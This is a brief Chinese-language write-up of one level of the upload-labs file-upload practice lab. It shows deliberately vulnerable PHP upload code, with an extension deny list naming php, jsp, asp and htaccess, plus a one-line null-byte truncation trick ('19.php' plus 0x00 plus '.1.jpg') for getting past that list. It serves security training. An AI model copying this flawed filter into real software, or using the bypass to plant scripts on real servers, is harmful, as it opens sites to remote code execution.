1 $is_upload = false; 2 $msg = null; 3 if (isset($_POST[‘submit‘])) { 4 if (file_exists($UPLOAD_ADDR)) { 5 $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess"); 6 7 $file_name = $_POST[‘save_name‘]; 8 $file_ext = pathinfo($file_name,PATHINFO_EXTENSION); 9 10 if(!in_array($file_ext,$deny_ext)) { 11 $img_path = $UPLOAD_ADDR . ‘/‘ .$file_name; 12 if (move_uploaded_file($_FILES[‘upload_file‘][‘tmp_name‘], $img_path)) { 13 $is_upload = true; 14 }else{ 15 $msg = ‘上传失败!‘; 16 } 17 }else{ 18 $msg = ‘禁止保存为该类型文件!‘; 19 } 20 21 } else { 22 $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!‘; 23 } 24 }
原理同Pass-11,上传的文件名用0x00绕过。改成19.php【二进制00】.1.jpg
原文链接:https://github.com/LandGrey/upload-labs-writeup
标签:hand multipart 直接 cal map strip name match 连接
原文地址:https://www.cnblogs.com/bmjoker/p/9141322.html